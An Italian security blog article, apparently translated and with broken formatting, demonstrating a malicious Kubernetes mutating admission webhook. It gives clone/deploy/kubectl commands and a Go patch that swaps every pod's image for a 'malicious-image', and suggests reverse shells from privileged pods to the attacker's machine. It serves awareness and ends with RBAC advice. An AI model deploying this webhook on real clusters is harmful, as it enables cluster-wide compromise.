Creazione di controllori di ammissione dannosi

[nuke]

I controller di ammissione svolgono un ruolo cruciale in Kubernetes e sono sfruttati da più strumenti e team per difendere i cluster. Una semplice configurazione errata nella configurazione consente agli aggressori di sfruttare senza sforzo questa funzione difensiva per eseguire attacchi offensivi. In questo articolo creeremo un controller di ammissione dannoso, ne capiremo i tecnicismi e ne analizzeremo l’impatto. n Stackrox ha svolto un lavoro straordinario dimostrando l’utilizzo dei controller di ammissione per difendere i cluster Kubernetes. Modificheremo il loro codice per dimostrare uno scenario di attacco offensivo. n Introduzione ai controllori di ammissione n n Un controller di ammissione è una parte di codice che intercetta le richieste al server API Kubernetes prima della persistenza dell’oggetto, ma dopo che la richiesta è stata autenticata e autorizzata.  n n Flusso di lavoro e tipi di controller: n n

• n
• MutatingAdmissionWebhook (modifica l’oggetto se lo desidera); n
• ValidatingAdmissionWebhook (convalida l’oggetto se lo desidera). n

n Se uno dei controller rifiuta la richiesta, l’intera richiesta viene respinta immediatamente e viene restituito un errore all’utente finale. n Usi del controllore di ammissione n Strumenti come OPA, Kyverno e molti altri sfruttano i controller di ammissione per rafforzare la sicurezza. n

• n
• Limitare le richieste di creazione, eliminazione, modifica e altre operazioni specifiche; n
• Consente l’applicazione di regole granulari; n
• Altamente efficace nell’hardening dei cluster Kubernetes. n

n Operazione n I controller di ammissione sono costruiti per difendere i sistemi e rafforzare l’infrastruttura, ma una semplice configurazione errata può portare a incubi e attacchi mortali. n Creazione di un controller di ammissione dannoso n Una volta che un utente malintenzionato entra in un cluster configurato in modo errato, può eseguire un numero di operazioni n. Se l’autore dell’attacco dispone dei privilegi per creare un controller di ammissione di distribuzione, servizio e webhook mutante, il gioco è praticamente finito. Pertanto, lo sfruttamento dei controllori di ammissione può essere classificato come parte di una fase di post-sfruttamento. n Il codice sorgente della demo è disponibile, qui. n git clone https://github.com/rewanthtammana/malic ... ok-demoncd malicious-admission-controller-webhook-demon./deploy.shnkubectl get po -n webhook-demo -w n Attendi fino a quando il server webhook è pronto. Controlla lo stato. n kubectl get mutatingwebhookconfigurationsnkubectl get deploy,svc -n webhook-demo n n Una volta che il nostro webhook mutante dannoso è in esecuzione, distribuiamo un nuovo pod. n kubectl run nginx --image nginxnkubectl get po -w n Attendi di nuovo finché non vedi il cambiamento nello stato del pod. Ora puoi vedere l’ ErrImagePullerrore. Controlla il nome dell’immagine con una delle query. n kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"n"}'nnkubectl describe po nginx | grep "Image: " n Come puoi vedere nell’immagine sopra, abbiamo provato a eseguire l’immagine nginx ma l’immagine finale eseguita è rewanthtammana/malicious-image. Cosa è appena successo!!? n Tecnicismi n Sveliamo quello che è appena successo. Il ./deploy.sh script che hai eseguito ha creato un controller di ammissione webhook mutante. Le righe sottostanti nel controller di ammissione del webhook mutante sono responsabili dei risultati di cui sopra. n patches = append(patches, patchOperation{n Op: "replace",n Path: "/spec/containers/0/image",n Value: "rewanthtammana/malicious-image",n}) n Lo snippet sopra sostituisce la prima immagine del contenitore in ogni pod con rewanthtammana/malicious-image. n Esempio di scenario di attacco n Un attaccante può eseguire vari attacchi. Ad esempio, n

• n
• Esegui pod/distribuzioni con flag privilegiati, capacità elevate, ecc. n
• Scrivi un’immagine personalizzata, che lanci shell inversa da tutti i pod alla macchina personale dell’attaccante. n

n Combinando i due vettori di minaccia di cui sopra, gli aggressori possono ottenere l’accesso a tutti i nodi di lavoro ottenendo shell inverse dai pod in esecuzione con privilegi elevati. n Conclusione n Se un utente malintenzionato è in grado di creare un controller di ammissione webhook mutante, avrà accesso per eseguire operazioni privilegiate e può essere disastroso. I controller di ammissione sono molto efficaci per eseguire convalide sulle risorse create, rafforzare le implementazioni, ecc. Un semplice RBAC con i privilegi minimi avrebbe potuto impedire questo attacco massiccio. n Riferimenti n

• n
• Codice: controller di ammissione dannoso (GitHub) n
• Documenti Kubernetes n

Source: https://spcnet.it/creazione-di-controll ... e-dannosi/